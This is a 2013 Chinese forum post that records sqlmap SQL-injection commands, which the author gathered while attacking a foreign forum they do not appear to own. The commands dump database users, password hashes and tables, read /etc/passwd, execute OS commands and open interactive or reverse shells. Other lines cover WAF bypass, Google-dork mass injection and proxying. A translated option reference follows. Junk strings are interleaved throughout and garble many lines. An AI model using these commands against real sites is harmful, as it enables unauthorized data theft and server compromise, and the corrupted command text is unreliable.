找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2765|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、" _/ K' U' l8 W! W* p' y  I
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
4 E4 T+ X0 e$ a5 U) usqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名
9 O* [) V; }/ F9 [8 p" |% A$ nsqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段
3 Y- {! E9 b! r& h& c. L ; J8 r  r7 Y) X3 _; m/ b
sqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v
, V2 L8 M5 l  u& @0 #获取字段内容* D2 \3 w1 i( x1 n: F

9 k# V% q0 p0 p******************信息获取******************
$ \' m0 i$ S9 Tsqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
% i0 O. b7 O& ?/ K" o8 E  V) D6 }& Usqlmap -u “http://url/news?id=1″ –users #列数据库用户
  @5 k& U7 U# vsqlmap -u “http://url/news?id=1″ –dbs#列数据库6 }& y! T3 n: e( I5 z2 s% }$ S
sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码
( p2 Y/ m4 p& b+ ^- o) o" b/ Osqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码! U. |% n2 Y% j) A. x9 z/ x
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”
+ C) s$ M' w4 G, @9 \6 N4 V  `–start 1 –stop 20 #列出指定字段,列出20 条! Q# U6 g1 w% p/ R9 T2 l
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表
, Z5 v# B! K. F+ G5 Ysqlmap -u “http://url/news?id=1″ –privileges #查看权限. K2 K) u$ L/ C' n
sqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色: W5 r9 K% d8 F2 ~$ m
sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)! j" v4 i) N. `: Z
sqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
  ~% l0 t# g( f& r" `& c2 csqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录
' |% Y* X- Z6 I# D1 {sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入9 k' p* I- G0 ?1 W1 s, d
sqlmap -u “http://url/news?id=1″-b #获取banner信息0 B+ }2 r' r& n& W! f+ f" i
sqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
$ o1 Z  R9 y1 K: D/ Isqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
6 {0 M/ G" ^% V$ [$ e: V0 qsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入
4 Q$ k( I8 u! d% n$ `- }sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词5 q) n( o; p3 ?, j1 e" [/ c! t
sqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
/ Z; C# o, E% R8 H* {1 jsqlmap -u “http://url/news?id=1″ –file /etc/passwd
2 a, T( M4 f  u, l: M/ h. Dsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令1 n; v3 d) w  V2 A
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell
0 d) m& y7 p5 ^  Z1 l' xsqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
+ s7 ~- _, n/ Tsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度( }7 x8 w5 l; \) q. I- x
sqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
3 `8 o; z5 {$ ~* O***********高级用法*************- T. ?6 r! J% f
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
" X) z  L8 e( c' p5 C. xsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问
5 B  Q8 C' v4 D–technique   测试指定注入类型\使用的技术
8 s. w* s6 {: g4 t. @8 l不加参数默认测试所有注入技术% V+ |) r/ D2 H2 w6 E! c: ?
•     B: 基于布尔的SQL 盲注
+ z7 |0 x2 g  ^8 B3 k0 ?- [3 z•     E: 基于显错sql 注入
3 g7 h; O0 E9 D5 M: s! X. I•     U: 基于UNION 注入( ?$ T8 Z) j% Y8 H6 x. ?1 ^
•     S: 叠层sql 注入6 U) ~" P& r8 k( C
•     T: 基于时间盲注
8 `% M- w9 i# _# ^–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()
/ p9 a3 ]% M# b1 U3 H( R9 s  E0 }–tamper 插件所在目录
3 Z5 a$ M7 n, n4 m% d& [! g\sqlmap-dev\tamper- D; K. u0 A- F! g+ Y3 P
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能
# i- y2 w- \: ?; Vlevel 执行测试等级 攻击实例:
2 i" w: K9 N8 ~9 MSqlmap -u “http://url/news?id=1&Submit=Submit”" p/ d8 F5 M/ G% C' }& B
–cookie=”PHPSESSID=41aa833e6d0d3 b! z* c. K+ o& E
28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user5 I: O, ~# x0 I
–password0 \$ V( o# ?# }  q
参考文档:http://sqlmap.sourceforge.net/doc/README.html3 ]+ U" s* W: o
***********安装最新版本*************8 G" l/ O: H! Q  g! r5 A
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版
1 E! }! N* F% y9 ^" E' J  Gsudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev# ]( g8 v) b1 O, L
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件; k$ J, D% o. U( }6 F) O( b
sudo vim /home/当前用户/.bashrc9 O) d. b( z' e% u) A, s/ ~; }4 ?
#任意位置加上:* G, l% t5 r, X
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效
' J, Y( Z+ ]- s如果想对所有用户有效 可设置全局 编辑下面的文件
; ~0 E3 V7 w( y5 D4 I% I1 Qvim /etc/profile: B9 F; J+ W4 a6 T% m& d  a( T8 g
同样加上:
( o: X$ a3 m2 g2 o( Zalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效; C6 [" x% L0 v7 K7 x8 B
******************windows 7 (x64) sqlmap install (SVN)************
' I  \4 v% w' p+ X* r2 Q! ahttp://www.python.org/getit/ 安装python2 X5 S$ F5 X* a: [) T9 _9 C/ \; z
http://www.sliksvn.com/en/download 安装windows svn client
7 B* }3 M$ [7 K. ~; e% ksvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
0 ^3 |7 Y' U# i9 W! b- l1 a6 B8 q安装sqlmap+ o: {$ G3 e- f0 A
*修改环境变量& q6 V/ ?: u) ?2 o( B
–version             显示程序的版本号并退出; q" h! y/ ^$ |* d) m7 `3 P4 K% E3 n
-h, –help            显示此帮助消息并退出
0 F7 G( v- t/ I- k! C3 j% i" k-v VERBOSE            详细级别:0-6(默认为1)
/ v! C; j5 t6 L* `6 U8 l( {Target(目标): 以下至少需要设置其中一个选项,设置目标URL。( s3 v8 R4 x2 D* ~& d
-d DIRECT           直接连接到数据库。
/ L0 o3 W- {* B* c-u URL, –url=URL   目标URL。
1 P0 f: d0 J! \5 a! ?-l LIST             从Burp 或WebScarab 代理的日志中解析目标。% q. f6 h; i( _/ r
-r REQUESTFILE      从一个文件中载入HTTP 请求。
5 ~; h0 N" X7 \! `1 Z-g GOOGLEDORK       处理Google dork 的结果作为目标URL。
( p  I9 x& O. f9 Y' k-c CONFIGFILE       从INI 配置文件中加载选项。7 A# S" [$ G; W7 S1 r
Request(请求)::
' t. M% {, `* i% }. M这些选项可以用来指定如何连接到目标URL。
: V. y( X# k- u' \–data=DATA         通过POST 发送的数据字符串7 y' r! f; S9 V7 N* a6 P# _
–cookie=COOKIE     HTTP Cookie 头
% F/ o. g& K- S/ |9 L- f–cookie-urlencode  URL 编码生成的cookie 注入; F' I0 J& v, e' O% _
–drop-set-cookie   忽略响应的Set –Cookie 头信息
' |4 K0 C4 k8 D1 ?* G  t# ]2 V 0 r4 l, z" p3 u) D
–user-agent=AGENT  指定  HTTP User –Agent 头# p. A# i( m! s- A% K& j6 H- o
–random-agent      使用随机选定的HTTP User –Agent 头% y: u5 m& `, ^( x( U2 H
–referer=REFERER   指定  HTTP Referer 头
1 K! N; X# L  B7 e2 P. t5 K–headers=HEADERS   换行分开,加入其他的HTTP 头  l5 \+ b& ~  F* d7 h3 D  v$ `% S4 x
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)6 j3 _0 Y/ O( V1 s% P
–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)' {9 b8 A! ]3 V- a+ T' e1 T- U
–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)
, D' N0 j3 ~0 e–proxy=PROXY       使用HTTP 代理连接到目标URL
! h) u+ u. `+ z+ X–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
9 |5 H! H$ c2 K: p–ignore-proxy      忽略系统默认的HTTP 代理
+ k3 u4 ]2 K7 p3 H7 P/ d3 F–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒  O5 ?' N/ B6 K7 @
–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)+ l9 m5 t, \, \# r0 R( \+ \7 O
–retries=RETRIES   连接超时后重新连接的时间(默认3)$ X' C& v& k% ^6 Q
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式
4 Z/ P0 \3 Y& H9 ~: j8 H–safe-url=SAFURL   在测试过程中经常访问的url 地址
6 h% P- U2 g( B" |  _' `; D–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL/ t$ g; ]* v: V4 A; G; x' M# r
Optimization(优化): 这些选项可用于优化SqlMap 的性能。' H1 v2 O, U5 t5 j* ]" m+ T
-o                  开启所有优化开关& J) h' o0 N& e
–predict-output    预测常见的查询输出
" U! R# K* m1 T7 d/ H4 I–keep-alive        使用持久的HTTP(S)连接9 d7 O2 T6 [/ K, C: A/ A
–null-connection   从没有实际的HTTP 响应体中检索页面长度- T5 y! \; M  \+ w7 K6 Q
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
0 B, [' E  n, u$ y" tInjection(注入):
/ J* z$ V+ ~2 [7 ^$ c, L4 u: h3 a这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。
6 R: e  l3 X, ^$ {-p TESTPARAMETER    可测试的参数(S)
3 V# Z% C* Y& S, |7 u–dbms=DBMS         强制后端的DBMS 为此值
" `7 T: s' u( a6 i- s2 l  v–os=OS             强制后端的DBMS 操作系统为这个值5 b2 j/ k# W* k( ]% r
–prefix=PREFIX     注入payload 字符串前缀
! B; b! x% }) z  }/ h* e  O3 Z–suffix=SUFFIX     注入 payload 字符串后缀
% w; ]0 t$ E6 N. k–tamper=TAMPER     使用给定的脚本(S)篡改注入数据2 F+ ~7 l1 [  j% f8 B2 j
Detection(检测):
. c3 ^2 u+ Y2 }+ ?& E这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。
3 x' a7 j" B+ h3 {2 R–level=LEVEL       执行测试的等级(1-5,默认为1)
/ v% @# T  P5 I. R8 `–risk=RISK         执行测试的风险(0-3,默认为1)
& X& V; y+ P1 J  S8 k' H3 \–string=STRING     查询时有效时在页面匹配字符串
! w. v) H( B& @+ e. D1 ]–regexp=REGEXP     查询时有效时在页面匹配正则表达式
% D: j( J1 Q, u9 G2 O2 n$ r; G–text-only         仅基于在文本内容比较网页* c9 p9 u0 t; @8 s# G! }
Techniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
8 Y& K1 Z: U3 e( N& |( {–technique=TECH    SQL 注入技术测试(默认BEUST)
7 O& @, N7 q0 U5 b  C–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)0 H* G% f) u- a) a
–union-cols=UCOLS  定列范围用于测试UNION 查询注入
) T/ ~" g4 z, p+ d! b–union-char=UCHAR  用于暴力猜解列数的字符
0 a! g# x/ S0 u* ~Fingerprint(指纹):; U5 s, z' I: y% G& H) N
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
3 `+ x2 v( z! c/ l7 o/ N" gEnumeration(枚举):( e. @$ K3 p( b, Z! g6 l( H' I% L

+ [- a3 i( n* R5 o1 D8 }) @7 F* h这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。7 P3 K/ J) `8 n0 w2 v8 ], k
-b, –banner        检索数据库管理系统的标识
: U2 l8 n$ T. A8 v0 z0 k( n0 {* l–current-user      检索数据库管理系统当前用户. S, U" ?' f8 u: p8 Y1 k! @
–current-db        检索数据库管理系统当前数据库
! Z/ i! J7 R% u6 y–is-dba            检测DBMS 当前用户是否DBA+ T" r7 A) L8 G* W
–users             枚举数据库管理系统用户6 u; u* k  J& m2 V! O/ d
–passwords         枚举数据库管理系统用户密码哈希
2 `5 F6 ~9 \0 r5 `5 Z- s3 I3 a4 s–privileges        枚举数据库管理系统用户的权限0 O% k$ ^' f! }$ L; w8 H' w
–roles             枚举数据库管理系统用户的角色' ?! a9 F$ E# W; T& |# L7 v
–dbs               枚举数据库管理系统数据库' B, Q% L5 r) s& R- U0 X  I+ D& t
–tables            枚举的DBMS 数据库中的表
7 U( A$ g; `0 C4 U6 b: e" P–columns           枚举DBMS 数据库表列& e6 k' U( @" h0 t/ v
–dump              转储数据库管理系统的数据库中的表项
6 p- X* }9 f, [, b$ o& Z9 R) a7 D" ~–dump-all          转储所有的DBMS 数据库表中的条目8 ~6 {9 O$ W7 x/ [6 N2 O
–search            搜索列(S),表(S)和/或数据库名称(S): e, s0 f, Y/ A9 I
-D DB               要进行枚举的数据库名
9 K8 H0 |1 P1 A7 G! k. O! }4 ~-T TBL              要进行枚举的数据库表- ^4 w+ Y; A) E! \
-C COL              要进行枚举的数据库列& l3 r) M& G0 u* X7 H  S
-U USER             用来进行枚举的数据库用户  C, ~) U) O2 o% o$ b3 ?
–exclude-sysdbs    枚举表时排除系统数据库, Y0 `" k; a0 n% Y( \! f3 q) s
–start=LIMITSTART  第一个查询输出进入检索8 E! u& [% u3 ?9 v) N
–stop=LIMITSTOP    最后查询的输出进入检索
* V' O+ O/ v* u- E( B–first=FIRSTCHAR   第一个查询输出字的字符检索
& O$ ^' E: f3 }0 t- U–last=LASTCHAR     最后查询的输出字字符检索7 [1 v3 c/ a) C" y/ r. h) p
–sql-query=QUERY   要执行的SQL 语句/ s7 `( B+ y$ J: T1 `
–sql-shell         提示交互式SQL 的shell0 c7 {2 H  ~% b" `) c! h
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。' s' y" I& U" x
–common-tables     检查存在共同表
+ Q# p1 q) S8 ]4 {8 v# |  c–common-columns    检查存在共同列
: S8 k/ }1 @4 H8 yUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。  L1 Z! d+ _5 h) P, l
–udf-inject        注入用户自定义函数
: K" x3 C, h" N: k( u. e: @–shared-lib=SHLIB  共享库的本地路径
' X' t% [/ a( RFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
/ F4 f' p  ~8 z6 F–file-read=RFILE   从后端的数据库管理系统文件系统读取文件
- a! V( e) E8 Q–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件$ N* E. m& |; ^7 d) X
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
5 j. E+ Y9 j$ x0 W/ x# D  HOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。
, W- ^! _5 U  j3 z$ {2 z–os-cmd=OSCMD      执行操作系统命令& I, a; _. j% T' P" p$ N
–os-shell          交互式的操作系统的shell6 z3 q, v4 q1 `# m
–os-pwn            获取一个OOB shell,meterpreter 或VNC
6 W6 r; F; q" C7 l5 o5 s4 F+ F0 e–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC* z9 v8 O- o/ p- {  `
–os-bof            存储过程缓冲区溢出利用
9 h) T  ]. [) l6 h1 v–priv-esc          数据库进程用户权限提升
$ }8 ~8 ?* R/ g$ [" |1 F1 f& F–msf-path=MSFPATH  Metasploit Framework 本地的安装路径/ ~& {( ?' J2 {+ a- m/ g$ F+ ?" K
–tmp-path=TMPPATH  远程临时文件目录的绝对路径
# S/ N! [* }% B3 t4 i: t
2 E8 |" r1 L: q5 G" M8 eWindows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。/ ~. m5 H( `7 w* j9 q8 q5 f$ X, t
–reg-read          读一个Windows 注册表项值
7 i; H) b7 Q# ?% q8 `2 t9 Y1 F! u–reg-add           写一个Windows 注册表项值数据; J2 `) ^& _; ^3 j1 N$ o; w( r
–reg-del           删除Windows 注册表键值" i0 L* ~- F6 p9 z. p
–reg-key=REGKEY    Windows 注册表键/ |1 J, O5 Y0 o# j9 F
–reg-value=REGVAL  Windows 注册表项值7 D2 M* }5 ^6 Y* I8 }) l0 x6 f! d
–reg-data=REGDATA  Windows 注册表键值数据0 v( {) Z3 C: _2 x9 i- T" T& @
–reg-type=REGTYPE  Windows 注册表项值类型  Y7 k( f1 D6 w1 V. g$ I
General(一般): 这些选项可以用来设置一些一般的工作参数。
8 I" D* K3 v4 M* X* c. s-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中
% s- Y0 `. d( r9 P6 }2 d-s SESSIONFILE      保存和恢复检索会话文件的所有数据# S0 s; E/ v3 q4 H# ]0 s9 k
–flush-session     刷新当前目标的会话文件
! V" s$ {* L. ?) ^8 F6 e3 f–fresh-queries     忽略在会话文件中存储的查询结果# a( [' L8 c5 [. q; S
–eta               显示每个输出的预计到达时间( M9 T' B. {" u- V# r, S1 N
–update            更新SqlMap
" ~; C7 V1 ^4 B% K4 _) B- B–save              file 保存选项到INI 配置文件
+ n2 k$ W$ D" a7 o: e* A–batch             从不询问用户输入,使用所有默认配置。! |, u1 Q6 t/ D; Y" n6 P6 [
Miscellaneous(杂项):( E' }) B& x2 U. y) R
–beep              发现SQL 注入时提醒
: Z/ q, [8 Z+ e8 u: \( k+ X–check-payload     IDS 对注入payloads 的检测测试$ W3 H; H2 f0 _2 {( a: ~
–cleanup           SqlMap 具体的UDF 和表清理DBMS
% n8 C, A# h2 w/ I9 G8 L+ g8 P( U–forms             对目标URL 的解析和测试形式7 Z; h# \. r% ~7 b
–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果6 g- @0 w6 A; X0 D+ @
–page-rank         Google dork 结果显示网页排名(PR)9 x* g% T0 a3 w& V  ^' y$ \; T, {( l
–parse-errors      从响应页面解析数据库管理系统的错误消息
) x/ @3 l. a! T! A" |–replicate         复制转储的数据到一个sqlite3 数据库
0 e# y9 D1 I" e3 V–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
5 ]3 n4 u  i, {3 p, h6 @5 e8 O–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表